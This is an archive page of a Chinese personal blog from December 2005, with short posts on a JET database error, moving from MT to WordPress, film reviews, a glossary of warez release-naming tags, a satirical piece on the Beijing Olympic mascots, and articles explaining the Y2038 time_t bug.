December 2005 Archives

Microsoft JET Database Engine 错误

| | Comments (6) | TrackBacks (0)
Microsoft JET Database Engine 错误 '80040e10'
 
至少一个参数没有被指定值。
 
分析原因,很简单的原因。数据库中的字段与你程序中的字段不一样。
比如
select * from test where aaa
而在数据库中不存在这个字段,就会这种问题

把数据从mt迁移至wp

| | Comments (0) | TrackBacks (0)
wp现在推出了2.0,后台比以前人性化了一点。但编辑器依然让我不爽。
感觉wp用起来还是没有mt舒服。但wp也是需要考虑的一个blog。
wp2.0之后,导入mt数据比以前方便了很多。
具体方法是,在mt中选择 导入/导出,然后将数据导出,保存为一个txt文件。
然后进入wp,在后台选择导入。选择mt,然后按照提示进行即可
 
2005-12-31_08-56-50.jpg

下雪了

| | Comments (0) | TrackBacks (1)
终于下雪了,在2005年的最后一天。
明天就是元旦了,不知不觉,2006年到了。

saving private ryan

| | Comments (0) | TrackBacks (0)
2003946245194444.jpg
 
 
内容简介
 
  第二次世界大战期间,当百万大军登陆诺曼第时,米勒中尉率领一支8人的小分队深入敌后,去寻找空降部队的一名士兵詹姆斯.瑞恩。因为他是家中四兄弟中的老小,他的三个哥哥都已相继阵亡。军队的高级将领怕这颗独苗再出意外,使伤心的母亲绝望,于是做出不惜一切代价将这唯一的儿子送还母亲身边的决定......导演着重刻画了战争中人的关系和人性的表现。评论普遍认为此片是有史以来最好的战争片。但也有人认为画面中血腥的场面太多,而导演认为他只表现了战争残酷的万一。
 
【影片评介】:
  本片是斯皮尔伯格首部名符其实的战争片,描述的是1944年6月6日,英美盟军在诺曼底登陆。在这一天的进攻中,盟军总部发放阵亡通知单的工作人员发现:一家姓瑞恩的有三兄弟都阵亡了。而她的小儿子詹姆斯.瑞恩也在欧洲大陆战斗,还不知生死。盟军司令马歇尔将军得知此情况,立刻下令派一只小分队去救他。最后,这只小分队经过欲血奋战,终于找到了瑞恩,并守住了一座连接巴黎和柏林两地的大挢。本片被认为是有史以来最逼真的战争片之一,美国电影协会将其定为“极度渲染战争暴力”片。不过,许多二战老兵对影片给予了极高评价,称它是“最真实反映二战的影片”,尤其是片中全长26分钟的重现诺曼底登陆的壮观场面。
 
  《拯救大兵瑞恩》这部影片几乎是一部纪实片,在170分钟的影片中战争场面占据了大约三分之一的时间,其中血腥、残忍的暴力场面很多,但它却绝不是一部暴力片,斯皮尔伯格的发言人马文.利维说“影片中出现的暴力镜头没有一处是无缘无故的,当人们看过影片后一定会觉得这是一部最具现实意义的战争影片,它将成为有史以来最真实的战争影片”
 
  斯皮尔伯格无意宣扬暴力,他憎恶任何使暴力看上去有趣或者把暴力描绘成游戏的主观性的渲染,他所展现的一切就是要客观地反映战争中的暴力。战斗在继续,镜头在移动,最后落在了一具尸体上,死者俯卧在地,背包上的名字清晰地印着一个名字--彼得.瑞恩。镜头又转到了宁静的美国本土,善后委员会的工作人员正在忙碌地处理着牺牲在前线的将士的善后工作,这时一名工作人员发现一个姓瑞恩的家庭中四个兄弟已有三个在断断续续的48小时内相继阵亡,也就是说将自己所有儿子送上前线的这位伟大的母亲将在同一个时间里接到三张不同的阵亡通知书,而这四个兄弟的唯一的幸存者空降兵列兵詹姆斯.瑞恩却也正在诺曼底的什么地方继续战斗着。工作人员立即将这个情况向陆军参谋长马歇尔将军作了汇报,看着这三纸阵亡通知书,将军的心情久久难以平静,为了不再让这位英雄母亲承受丧子之痛,将军下令:派一组特种部队去将瑞恩一家唯一的希望詹姆斯.瑞恩找到,并把他从那里安全地带回来。
 
  米勒上尉接到上级给他的这个任务后,他无法高兴,在他看来完成这项任务难如大海捞针,而要他率领一个八人营救小组冒死去救一个列兵的意义又何在呢?营救小组带着这个困惑极不情愿地上路了,于是人们有机会开始认识每一个人了。军士豪沃斯是米勒上尉的左右手;下士厄普哈姆是一个未经战阵的书呆子,只知纸上谈兵;技术军士迪克.魏德极富同情心。其他四人都是列兵,口惹悬河的鲁宾是是米勒上尉的眼中刺,这个机智聪明的纽约客毫不掩饰对此项行动的愤慨和质疑;卡帕佐也有一张闲不住的嘴;利施很有正义感,他为纳粹对犹太人的所作所为义愤填膺;杰克逊来自南方,是个虔诚的教徒,扣动扳机前总是默念“上帝赐予人力量”。
 
  显而易见这是一个性格迥异的群体,挑选和确定角色对任何一位导演来说都是一个不小的挑战。斯皮尔伯格再次显示了他作为一名超级导演的能力,在丹尼斯.查米安的协助下他成功地组建了一支实力雄厚的演员队伍。影帝汤姆.汉克斯对米勒上尉表现出了浓厚的兴趣,伯恩斯觉得饰演鲁宾使他乐在其中。演员们的表演没有辜负导演和观众。当这些士兵深入到敌人的阵地,遭遇到了各种危险的情况,豪沃斯与鲁宾在与德国小股溃军的遭遇战中相继牺牲,剩下的队员开始更加疑问为什么赖恩的生命要比他们的更有价值,尽管怨声载道但米勒队长却始坚持终服从着上级的命令继续寻找瑞恩。
 
  与以往一样,斯皮尔伯格没有忘记为观众塑造一位英雄,米勒上尉即是本片中的英雄。经汉克斯饰演的米勒上尉有情有义,是一名普通的、却具有高尚品质的战士,这恰恰是人们所追求的那种理想的艺术形象。但斯皮尔伯格并未满足于停留在这一层次上,片中的米勒上尉绝非约翰.韦恩式的英雄简单的翻版,他为自己是种种屠杀行动的指挥者而绝望,他恨战争发迹了他,他的一只手有时会莫名其妙的擅抖,导演这一巧妙安排展现了人物复杂的内心世界,暗示着战争给人造成的巨大精神压力。
 
  大兵瑞恩终于在一个叫雷蒙的地方被找到了,瑞恩所在的小分队在登陆前被空投到此地去保护一座战略位置十分重要的大桥。当得知兄弟战死沙场的消息后的瑞恩悲痛万分,米勒队长又向赖恩说明了他们此行的目的,可他没想到瑞恩却说“我的兄弟没有死,他们正在和我一起在前线并肩作战,战争胜利后我会跟他们一起回家。”列兵瑞恩的话使这些经历了死亡的恐怖与战火的考验的老兵们开始重新认识生命的价值,为了不辱使命米勒队长决定和队员们一起留下与赖恩并肩迎战一场即将到来的恶战。营地上悠扬的歌声令战士们充满了对和平的憧憬,米勒与瑞恩在这短暂的宁静中一起回忆着他们的亲人、他们的过去,他们是多么的希望此刻永远停留啊,这时远处隆隆的坦克声打断了他们的思绪,一场为战士们共同信念而战的战斗终于到来了....
 
法前总统赞不绝口
《拯救大兵瑞恩》在法国的票房同样取得了骄人的成绩,连续数周排行第一。虽然有些影评人士指责这部影片强调的是民族主义,但更多的人从中体会到的却是英雄主义。法国前总统德埃斯丁对影片赞赏有加:“欧洲人,包括法国人拍出这样一部爱国片是不可能的事,因为他们更多的是怀疑和批判,他们不会对抢救雷恩这样的行动表示敬意。”

男人必看的十部影片

| | Comments (0) | TrackBacks (0)
今天突然想把片文章找出来。这里面的电影,自己也收了几部。
以前觉得无所谓,等工作了,看了这些电影,突然发现,en,原来这样。思想和以前不一样了。这就是工作和上学的区别吧
 
《阿甘正传》 课程:执着
 
  每次想起阿甘在美国东西海岸之间的奔跑,心里都会止不住的伤感,还有振奋。
 
  你相信一个智障儿的成功吗?你相信这世上得到最多的人正是那些不计得失的人吗?
 

  阿甘不懂得他不能总跟着一个女人帮她打架,也不懂得一个成年人不该总把***话挂在嘴边。阿甘什么都不知道,他只知道凭着直觉在路上不停地跑,并且最终他跑到了终点。
 
  另外,《阿甘正传》还会教给你一个男人必须具备的一种素质——困境中的幽默感。
 

《东方不败》 课程:才华
 
  男人不应该不看武侠片,如果你只能看一部武侠电影,你会选择什么?我想应该是《东方不败》.满堂花醉三千客,一剑霜寒十四州,剑客的身姿随着剑在空气中的游走而起舞,翩若惊鸿,宛若游龙。金庸的《笑傲江湖》讲的是对自由的追求,徐克、程小东、张叔平、李连杰等一干天才用电影再现了金庸笔下这个瑰丽无比的武侠世界。沧海一声笑的曲子传唱至今,成为我们一个幻想的凭籍,一个逃避现实的出口。
 

《美国往事》 课程:人生
 
  《美国往事》包含了一个男人在这个世界上所能遇到的一切。友情、爱情、幻想、责任、冲突。它更像是一场让人不愿醒来的梦,当面条躺在床上,在温暖的灯 光和的迷离的电话铃声中回到那些逝去了的岁月,这场梦便开始了,直到最后的面条终于露出笑容,我们才回到自己的人生,去继续那些不尽的故事。什么帮派,什么仇杀,原来都不重要,印象中只有一个毛躁的少年,偷看一个美丽女孩儿跳舞;只有一个负罪的兄弟,每天早早地上床睡觉;只有一个白发苍苍的老人,面对背叛了的友谊,语调平和,不动声色。《美国往事》带着你作了一个三小时四十五分钟的梦。人生如梦,这也许是惟一的感受。
 
《罗马假日》 课程:爱情
 
  也许《罗马假日》有点瞎浪漫的嫌疑,但奥黛丽。赫本的出现使它真的成了一部童话。她就像是游历人间的天使,美丽得不染纤尘。记者吻过湿淋淋的公主,然后看着她慢慢地走向自己的官邸。那一刻,你是否会在心里默默地说,“别走”?
 
  在罗马的宫殿里,两个人站得那样近,也离得那样远。乔只能说:“你的朋友绝不会让你失望。”而公主也只能这样回答,“罗马,当然是罗马。”在人的一生里,即便只有这样一刻心灵的相通,也会少却多少遗憾!
 
《勇敢的心》 课程:勇气
 
  也许英雄并不是无所不能的神明,但英雄一定是无所畏惧的勇士。在你站在霓虹闪烁的街头,当你面对卑鄙委琐的笑脸,你又想起了那个让你汗颜的华莱士,这时你收起脸上惯带的笑容,默默地向梅尔。吉布森致敬,从来没有这么庄重。因为他让我们明白,什么才是真正的英雄。“Freedom !”华莱士临死前的一声呐喊,把你的血也点燃了。
 
《辛德勒的名单》 课程:责任
 
  所谓责任,就是未必做得成却必须去做的事。对于辛德勒来说,救助落难的犹太人是作为一个真正的人的责任。而把那段历史搬上银幕,则是斯皮尔伯格作为一个犹太艺术家的责任。《辛德勒的名单》包含着对受难者的祭奠,对拯救者的敬意,和对光明一定到来的信念。在影片放映后的一片赞誉声中,斯皮尔伯格平静地把影片的全部收益捐给了美国的纳粹大屠杀纪念馆。
 
《肖申克的救赎》 课程:信念
 
  “有一种鸟儿是永远也关不住的,因为它的每片羽翼上都沾满了自由的光辉。”
 
  一个人能够在十五年痛苦的牢狱生活里,不放弃对自由的向往,这是一种怎样的精神力量?所以他成功了,成功夺回了自由。《肖申克的救赎》中有这样一句话:体制化是这样一种东西,一开始你排斥它,后来你习惯它,直到最后你离不开它。想想看,我们的身体已经有多大一部分被体制化了?
 
《E.T》  课程:童心
 
  如果看《E.T》时你流泪了,你不要害怕也不要惭愧,不管你有多大的年纪。实际上,能够和孩子们一起为E.T 的遭遇而悲喜,是一件多么让人庆幸的事,这代表着我们还有一点童心未曾泯灭,代表着我们有一些梦想还藏在心底。当长着一双孩子的眼睛的E.T 用超能力让孩子们的自行车飞上夜空,穿过那轮明月的时候,你是否感到了震憾?是否对自己一些已经习惯了的东西产生了怀疑?
 
《现代启示录》 课程:痛苦
 
  战争是一种秩序的破坏,世界上最可悲最痛苦的事莫过于战争,最痛苦的战争电影莫过于《现代启示录》。《现代启示录》讲的是人性的倒退,秩序的破坏。但文明的进程却没有人能够阻挡。
 
《第七封印》 课程:哲思
 
  我不敢说我看懂了《第七封印》,但如果要我在临死之前看一部电影,我一定选择《第七封印》。
 

0day标题中的含义

| | Comments (0) | TrackBacks (0)
NFO文件名常识:
 
Incl.Keygen--->包含有注册器
keygen only--->只含注册器
WinALL--->适用于所有版本Windows操作系统(一般是指95 98 ME 2000 XP 2003)
Trainer--->作弊修改器
Cracked--->破解版本(对原文件进行了修改)
MAC OSX--->Macintosh平台上的软件
NUKED--->发布的内容违犯规则或存在问题因而被取消,别的小组可重新发布。
Ebook--->电子书
Repack /Proper--->重新打包/正确的(对上一个不成功的破解的修正)
Plug in--->插件
regged--->已經注册了的軟件
retail--->零售版
READ.NFO--->一般表示有某种特别说明
DIRFIX nfo--->说明文件修正,一般只有一个nfo文件
BiLiNGUAL--->双语版本
MutilLiNGUAL--->多语言版本
PHP.NULL--->PHP完整脚本程序
ASP.NULL--->ASP完整脚本程序
Incl.Patch--->带有破解补丁
WORKING--->先前已有组织释放,但是不能完整工作,当前的释放是完整工作的。
Licensed--->带有许可文件
FiXED--->重新修正版
Unlocker--->解锁补丁
Cheats--->密技
ALL.ACCESS.CHEAT--->通关秘籍
 
电影文件名常识:
 
PROPER---> 完美版
DUPE--->与别的组织Release有重复
UNRATE--->未删节(好)
R-RATE--->有删节(不好)
WS --->宽银幕版本的影片
FS--->4:3 全荧幕版本的影片(有些影片DVD中同时有WS和FS两种版本,Rip出来就要有两种Release)
Bad IVTC --->画面有不可去处的拉丝(不好的版本)
Bad Aspt --->画面比例不正常(不好的版本)
LIMITED --->指在美国有限上映的片子,很多外国片都这样
WITH EXTRAS--->带花絮
INTERLACED--->隔行(可看见横的扫瞄线)
NUKED---> 画质太差,被FTP的管理员废掉
SUBED --->内嵌硬字幕(画面内不能消去)
CAM---> 摄影机拍影院银幕,带有影院音响(夹带观众笑声,不好)
Telesync, TS--->摄像机拍影院银幕,从影院放映机直接接线输出
Telecine, TC---> 胶版,直接转电影拷贝,转电影拷贝
DVD SCREENER --->用于观摩或展示的DVD
SCREENER, SCR --->用于观摩或展示录影带
WORKPRINT,WP--->工作录影带(导演剪接版,与发行版不同 )
Director Cut --->导演剪接版
TDX---> 传统DivX制作规则,不符合规则就不会被接受或被NUKE
INTERNAL--->不太符合TDX标准的作品,一些是自己做着玩,还有一些是那组织认为依照TDX无法做到满意的质量,但不依照TDX做又会被NUKE,所以只好INTERNAL,有些比较值得收藏。
STV--->指没有也不会有美国影院公映这部片,或者是在影院放映前已经在电视上放过
OST---> 原声大碟
 
PDA文件名常识
 
其特定含义篇
 
PPC2002 - --> 该软件所适用的操作系统,Pocket PC2002
WM2003 ---> 该软件所适用的操作系统,Windows Mobile 2003等同于Pocket PC2003
 
ALL.PPC---> 适用于所有的Pocket PC系统,包括Pocket PC2000/Pocket PC2002/Pocket PC2003(Windows Mobile 2003)
 
ARM、MIPS、SH3分别代表该软件只适用于基于ARM、MIPS、SH3处理器的Pocket PC
 
PalmOS---> 该软件是为PalmOS系统开发的,
 
其中PalmOS5 是代表该软件只适用于PalmOS 5.0系统及以上
 
CLIE为Sony Clie设备专用版
 
Treo 180/270/600分别为Handspring Treo机型专用版
 
HIRES为专为拥有高分辨率屏幕(320*320)的机型设计
 
SymbianOS 6/6.1/7 是代表该软件只适用于SymbianOS 6.0/6.1/7.0系统
 
UIQ 是代表该软件适用于symbian7.0系统UIQ界面的机型,如Sony Ericsson的P800/P900和Motorola A920等
 
JAVA 该软件为Java软件,需要支持Java的机型才能正常使用
 
S60.Java 专为Nokia S60系列机型设计的Java软件(Nokia7650, Nokia3650, Nokia3310等)
 
S40.Java 专为Nokia S40列机型设计的Java软件(Nokia6100,Nokia6610,Nokia6108,Nokia7210,Nokia7250等)
 
其中如特指明N3650、N6600等则又为该机型所优化
 
Smartphone 代表该软件适用于Windows Mobile Smartphone系统
平生一笑说自己的google帐户被封停,对google没有信心了。今天专门上去看看,呵呵,果然所有的google广告都没有了,网站干净了好多阿
不知道我给google作广告能坚持到什么时候:)

网页设计师图谱

| | Comments (0) | TrackBacks (0)

1216_16472_1xp4wq_0004.gif 1216_16477_1xp4wq_0005.gif 1216_164644_urjyrl_0001.gif 1216_164653_eb4ib5_0002.gif 1216_164658_tqiwpj_0003.gif1216_164712_sphvpi_0006.gif 1216_164716_3zr6ys_0007.gif 1216_165314_urjxqk_0000.gif 1230_123952_tqiwpj_02.jpg

google的广告的确很智能

| | Comments (0) | TrackBacks (0)
google的广告,似乎会自动分析你的页面的内容,给出与你的页面内容相关的广告。比如下面的,我的这个 美丽人生的页面,显示的总是反法西斯战争的广告。与 美丽人生的主题一样。
强大的google
 
 
 
2005-12-30_08-32-24.jpg

搞笑:奥运吉祥物诞生记

| | Comments (0) | TrackBacks (0)
Img211990740.jpg
 

自从北京拿下奥运会主办权之后,就向国际奥委会放出话来:“北京一定要办一次最好的奥运会——人数最多、项目最多、主题歌最多、吉祥物最多、花钱最多、兴奋剂丑闻最多、赔钱最多的有史以来影响最广泛的奥运会。”一定要把北京奥运会办成多伦多。

据悉,北京奥委会即将推出奥运会主题歌,一共10首歌,每首歌让100个人唱,这样的话,连超女海选被淘汰的歌手都有机会登场演唱,一定要让全民都有机会参与到奥运当中去,这才叫同一个世界,同一个梦想耶——

这次奥运会吉祥物诞生的过程,就充分体现了把一件简单的事情搞复杂,把一个无中生有的东西赋予更多意义的精神,因为只有这样才能真正体现出奥运精神。韩国首尔奥运会,有两个吉祥物,悉尼奥运会有三个吉祥物,轮到我们北京,哼哼,我们弄五个,急了我们弄更多。

其实,在讨论吉祥物如何确定的时候,北京奥委会的人七嘴八舌不停口,出了很多主意。

奥委会第一副主席杨葵说:弄一个刘关张,都是英雄。
执行主席苗炜说:有城市已经弄出三个吉祥物了,我们不能停留在三个,奥运的口号就是更高、更快、更多,一定要超过他们。
于是执行主席平客建议:要不三英战吕布吧,正好四个。
执行主席小强一听就不干了:那还不如用孙悟空、猪八戒、唐僧、沙和尚呢,吕布怎么看怎么像个嫖客。
话音刚落,执行主席土摩托站起来说:还不如用五鼠闹东京呢,当时的东京汴梁就是首都,奥运会在北京举行,五只老鼠上窜下跳的,透着喜性。而且,“五鼠闹东京”也有点敲山震虎的意思,让丫日本人老实点,别鸡巴动不动就参拜什么刽子手,急了我们弄几只老鼠到东京传播鼠疫去。
执行主席大仙一听就急了:你这个学理科的,坐下,瞎说什么。老鼠是反面代表,老鼠过街,人人喊打,怎么可以用老鼠做吉祥物呢?
土摩托说:老鼠怎么啦,你见过有人打米老鼠的吗?你要是把它们设计好看了,人们照样喜欢。
大仙说:这又不是在美国开奥运会,我就烦美国卡通。
这时,执行主席老六站了起来:我觉得,吉祥物最好六个,六六大顺,要不用戊戌六君子吧。
执行主席王小山马上反对:还不如用竹林七贤呢,透着有文化。
第一副主席杨葵说:有文化还不如唐宋八大家呢。
这时执行主席飞猪站起来说:你们都别嚷嚷了,用十二生肖吧。又中国又传统,老外肯定感兴趣。
执行主席小精子马上反对:那还不如用金陵十二钗呢。
执行主席黄集伟马上站起身来:十二寡妇征西是不是更好呢?
执行主席洪启马上举手反对:我们还是用十八罗汉吧。
执行主席胡啾啾马上说:你别以为你肚子大,就想把跟你差不多的东西当成吉祥物。咱们还是用一百单八将吧,外国人一买就108个,我们能拯救很多玩具厂。
执行主席奶猪站起来说:宁亚这么说,那还不如整五百砣童男童女呢,多有气势。
执行主席黄集伟又不干了:照你这么说,百万雄师过大江才有气势呢,我们一套吉祥物100万个。

大家面面相觑:要不就弄100万个?体现出中国人参与奥运的决心。
大家纷纷点头:对,100万个。

这时,躲在一边半天没发言的执行主席安替说话了:从一个民主的角度来讲,100万个吉祥物是很有创意的,但问题是,开幕式上怎么把这100万个吉祥物弄进体育场,那样的话我们至少要修建一个容纳110万人的体育场,这个方案不妥。我认为,四五个比较合适。

于是,众人同意暂定为5个吉祥物。方案写好了,递交给国际奥委会主席罗格。罗格看到方案,当场就背过气去了,醒来后,他从地上爬起来,哆嗦着说:“谢天谢地,奥运会会旗上有五个环,要是有50个环,他们一定会弄50个吉祥物给我。中国是个很奇怪的国家,有一个总理候选人,强调一个中国,一个世界,一个梦想,一锤定音、一蹴而就、一概而论、一言堂、一盘散沙、一手遮天、一塌糊涂、一无是处、一问三不知……他们创造了很多灿烂的“一”文化,怎么到了吉祥物这里突然就变成了多‘档’制了?照这样下去,以后奥运会的吉祥物不是越来越多了吗。回头我得跟大众汽车公司商量一下,把奥迪公司的四环标志和奥运会的五环标志换一下。五个吉祥物,亏他们想得出来,上次悉尼弄了三个,我就看着别扭,难道他们真的把奥运会口号理解成‘更高、更快、更多’了吗?长此以往,这奥运会就变成了闹运会了。”

于是,罗格给北京奥委会打电话,接电话的正好是执行主席奶猪。
罗格:我看到你们的吉祥物方案了,为什么要用五个?你们把奥运吉祥物当成你们的菜市场了吗?
奶猪:我们本来想用百万雄师过大江来着,怕您数不到这个数就背过气去,所以就定了5个。
罗格:太多了,最好一个,最多两个。
奶猪:主席先生,宁亚也不想想,我们中国有这么多人,弄五砣已经很少了,平均三亿人才一个吉祥物,澳大利也才几个人,就弄出三砣。
罗格:这一点没有商量,如果你们执意要用五个吉祥物,我会召开奥委会紧急会议,讨论取消北京举办2008年奥运会资格。
奶猪:啊?我靠,这都什么时候了?宁亚还有这个想法?
罗格:我们不希望奥运会变成讲排场的比赛,你们中国现在还不富裕,举办这么大型运动会,尽可能节约资金,这对北京和她一千多万人民来说是件好事。
奶猪:这个我们早就想到了,宁亚放心,我们在奥运期间一定会让北京像共产主义一样和谐,钱包把人拌一个跟斗都不会有人去捡,让它活活烂在地里。
罗格:我担心伦敦奥运会会弄出6个吉祥物。
奶猪:这个宁亚放心,伦敦没有叫老六的人。他们只会弄出一砣。
罗格:你们已经把奥运会弄的膨胀了,希望你们替那里的人民想一想,希望你们办完奥运会之后能给北京人的生活带来方便,比如交通、环保、通讯。我上次去北京,一下飞机,发现天空是红颜色的,我当时想,我是到了火星了还是到了北京?后来一打听才知道你们为了迎接我专门掀起一场沙尘暴。
奶猪:宁亚没到火星就观看到火星的景色,这是我们绞尽乳汁想出来的疮痍。
罗格:我呸!
奶猪:难道宁亚经常访问我的博客?
罗格:我经常偷窥。
奶猪:罗师傅,我知道宁亚很为难,其他奥委会成员对我们弄五砣吉祥物会有微词,我们早就替宁亚想过了,我们在这五砣吉祥物里面,专门给宁亚留一个,这样的创意奥运历史上从来没有过。
罗格:真的?
奶猪:真的。
罗格:那我想想,如果你们保证吉祥物上有我一个。我就同意。
奶猪:哦耶——就这么定了。
罗格:嗯哼。

奥运吉祥物公布这一天,罗格兴致勃勃地坐在电视机旁看直播,看着自己成为吉祥物这一时刻的到来。白岩松说:第一砣吉祥物——贝贝。罗格一看,不像自己。王小丫说:“第二砣吉祥物——郭晶晶,不对是晶晶。”罗格一看,还不像自己。第三砣、第四砣、第五砣先后都出来了,怎么没有长得跟自己像的吉祥物呢?原来被耍了。可是想改变这一结果,来不及了。就这样,北京奥运会幸运地第一次拥有五砣吉祥物的奥运会。

罗格这叫一个气啊,他颤抖着拿起手机,给奶猪发了一条短:宁们亚骗我,我要召开紧急会议。
奶猪回:我们木有骗宁亚,吉祥物的名字叫“贝晶欢迎宁亚”,就是按照宁亚的山西口音设计滴。我靠,应该是六砣吉祥物,怎么少了一砣?

太平洋改版了

| | Comments (0) | TrackBacks (0)
太平洋改版了,在firefox下浏览现在已经正常了,效果还不错:)
 
 
 
2005-12-29_10-48-00.jpg

水管冻了

| | Comments (0) | TrackBacks (0)
房子里的水管冻了,。。。
用手一摸,一个冰块在里面。。
大家一定还记得上个世纪末给IT业界带来不少麻烦的Y2K bug吧,很不幸的是,我们很快又将面临另一个和时间有关的bug——Y2038问题。
 
专家警告说,Y2038 bug将于2038年1月19日(星期二)03:14:07am(GMT)正式爆发,届时人们对千年虫问题的预言可能将一一实现,比如手机网络工作不正常,卫星脱离轨道,型号较老的电脑软件软硬件无法正常工作等。
 
什么是Y2038 bug
 
Time_t是C/C++ 等编程语言在内部代表/存储日期和时间的一种数据类型。Time_t实际上是一个代表秒数的整数,当它的值为0时,代表的时间是1970年1月1日12:00:00;当Time_t=60时,则表示1970年1月1日12:01:00,依此类推。
 
所有32位电脑系统都用带符号32位整型来存储time_t的值,也就是说t_time只能用31位二进制数来表示(第一位用来表示正负号),而其最大值转换为十进制是2147483647,换算成日期和时间刚好是2038年1月19日03:14:07am(GMT),而这一秒过后,t_time的值将变成-2147483647,代表的是1901年12月13日8:45:52pm,这样32位软硬件系统的日期时间显示就都乱套了。另外,无法接受time_t为负值的其他功能也将返回错误。
 
举个实际的例子来说,登陆上Yahoo messenger,给好友发个消息,恩没问题,现在把系统时间更改为2038年1月19日03:14:07am,此时如果再发消息Yahoo messenger就将崩溃。
 
为何担忧?
 
也许有人觉得2038年还早着,无需担心这个问题。不幸的是,上世纪60年代的程序开发人员也抱有类似的错误想法,并由此导致了Y2K问题,给全球IT页带来数十亿美元的损失。
 
要知道时间对于许多电脑程序来说都非常重要,操作系统、数据库程序、电子表格软件、实时控制系统等无不涉及到时间。因此我们必须在Y2038 bug爆发前做好充足的准备。
 
尽管到2038年,桌面PC和服务器基本上都将升级到64位甚至128位,但仍会有许多使用中的32位甚至更古老的系统。即使是在32位系统盛行的今天,大多数嵌入式系统仍是8位或16位的,而小型嵌入式系统的数量其实比台式机更多。
 
如何应对?
 
Y2038问题和Y2K一样难缠,其中一种解决办法就是用位数更多的数据类型来存储日期和时间。如果使用64位数据类型,time_t最大可以表示公元292000000000年,是宇宙估计年龄的20倍,最起码看到这篇文章的各位都不会再遇到什么YXXXX问题了。
 
目前对于Y2038 bug的影响有多大还存在争论,但有一点可以肯定的是:有备无患。相信我们能像克服Y2K问题那样圆满解决Y2038问题。
Remember the Y2k bug and the hype surrounding it? It seems the hype is back. Only this time, it is not about Y2k but about Y2038, the latest bug to take the virtual world by storm.
 
According to experts, in January 2038 many computers and electronic systems will come across a new date-related problem. This will create havoc among many systems around the globe. For example:
 
 

?Cellular networks could see interruption in normal operations;
 
?Life support systems in hospitals may collapse;
 
?Massive blackouts or brownouts may occur;
 
?Satellites in space may depart from their orbits;
 
?The 8/16-bit embedded systems will crash, and;
 
?Old software/hardware will be unable to perform efficiently.
 
Many of the predictions for the Y2K bug are likely to come true in the year 2038. The bug is predicted to hit exactly at 03:14:07GMT on Tuesday, Jan 19, 2038.
 
The Y2038 bug
 
Time_t is a data type used in C/C++ and other languages based on C/C++ to represent/store dates and times internally. Time_t is actually just an integer that counts the number of seconds since January 1, 1970, at 12:00am GMT. If time_t is set to 0, it means the date and time is Jan 1, 1970, 12:00:00am. If the value of time_t is 60, the date and time will be Jan 1, 1970, 12:01:00am, and so on.
 
On Jan 19, 2038, 03:14:07am GMT, the t_time value will be 2147483647. This is the problem. All 32-bit computer systems store time_t in signed 32-bit integer. In other words, time_t can use a maximum of 32 bits. The first bit is used to indicate positive or negative state of the number, while other 31 bits are used to store the number itself. We can store no more than 2147483647 in 31 bits.
 
Table 1 shows how on 19th Jan 2038, at 03:14:07, t_time will be set to 2147483647, which is the maximum number a 32-bit integer can store. Therefore, when t_time will hit the aforementioned value, 32-bit hardware/ software will be unable to handle date and time correctly.
 
When an integer reaches its maximum value and then gets incremented, it drops to its lowest possible negative value. This means if time_t value is set to 2147483647 and then increased by one, the value become negative 2147483648, which represents Dec 13, 1901, at 8:45:52pm.
 
Furthermore, other functions that use time_t cannot handle negative values and return an error.
 
Just to present a clearer picture, here is an example: Sign in to your Yahoo account using Yahoo messenger. Now check to see if you can send messages to your friends. Change your system抯 date to 19th Jan, 2038, 03:14:07 am and try sending an instant message. Your Yahoo messenger will crash.
 
Why worry?
 
Most people like to believe that the year 2038 is still far enough to begin worrying about the bug now.
 
Unfortunately, this is the same mistake the software developers of the 60s had made which resulted in the Y2k bug.
 
We have to keep in mind that 憈ime?is a highly prevalent factor in many computer applications. It is used in operating systems, database applications, spreadsheet software, real-time control systems and just about everywhere else. This makes it doubly important for us to ensure that we are well prepared before the bug finally hits the virtual world.
 
Although, all desktop PCs and servers will likely be 64-bit or even 128-bit ones by the year 2038, many systems may still be of 32-bit or less. Today a majority of the embedded systems are still 8-bit or 16-bit. The point is that small-embedded systems are more common than desktop computers.
 
What to do
 
This problem is not as difficult to resolve as the Y2K was. One can resolve this issue by using large data type to store date and time. In C language Long data type can store 64-bits. In a 64-bit program, time_t can represent maximum 292000000000 AD ?20 times the currently estimated age of the universe.
 
If you are a software developer, you can take these steps to avoid the year 2038 bug in your software:
 
?Always store data and time in large data types.
 
?Do not cast date and time from large data type to small data type.
 
?Use standard functions or APIs (Application programme interface) provided by operating systems to convert date and time. A few organizations have already begun using API in their software in order to avoid the bug.
 
?Use newer versions of compiler to compile your program.
 
Now that the issue has been cited, the developers will hopefully address it within the next ten to 20 years, and come out with a suitable solution. In that case, there is nothing much to worry about. But just to be on the safe side, you should at least distance yourself from functions related to time.
 
Although, there are conflicting reports on how dangerous the Y2038 bug is going to be, there is a consensus that it will create quite a stir for computer users. Precautions taken now can make a huge difference.
 
 

Carlito's Way

| | Comments (0) | TrackBacks (0)
carlitosway.jpg
 
  岁月如流,旧歌如梦。有些电影看过就忘了,有些永远的留在记忆中。于是找出来再看一遍。从前看觉得是好的,现在知道了为什么好,好在哪里。前天夜里百无聊赖,手边刚好有一部Al Pacino的‘Carlito’s Way’,重温之后伤感的像一只断翅的蝴蝶。生死与爱情是永恒的让你看了睡不着觉的主题。比如’Love Story’,比如‘Titanic’。但是就像Jack Daniels加一些Coke才更有味道,这类电影掺些别的元素,比如黑帮,往往更耐人寻味。’Carlito’s Way’就是一杯比例完美的Jack Daniels + Coke。
 
  本该蹲30年,5年就神奇假释的亡命之徒Carlito (Al Pacino)出得牢来,发现有两件事情不太对头。第一件是5年不见,女孩子的裙子短的连屁股都遮不住。(他出狱的时候是公元1975年)第二件是,自己居然成了黑社会里年轻一代顶礼膜拜的传奇前辈。(纽约黑帮竞争激烈,五年人事几翻新-作者注)第一件还好说,这第二件对于胆气已颇为消磨的Carlito真是个要命的好消息。不想立马就碰上毒贩子火拼,Carlito奋起自卫,把子弹打光后屁滚尿流的一头钻进厕所,死活不敢出来。过了半天发现没动静,探头张望原来一不小心把所有人都灭了。好吧,威名又竖起来了,那就继续在刀口上讨生活吧。本来打定主意洗手不干的他,买了家黑社会club经营,准备攒够一笔钱就远走高飞-还有什么放不下的呢?这座城市,这个自由世界?-什么都放得下,除了她。Gail。他曾经的恋人。他想忘记她,偏偏还是想起;他知道不该再去找她,可他还是去了。于是悲剧在这一刻就已注定-他飘然去见她的那一刻。因为若不是为了牵绊她,在最后他就不用赶到火车站,去投奔那个陷阱,一个人他有一千种方法能安全的离开美国。
 
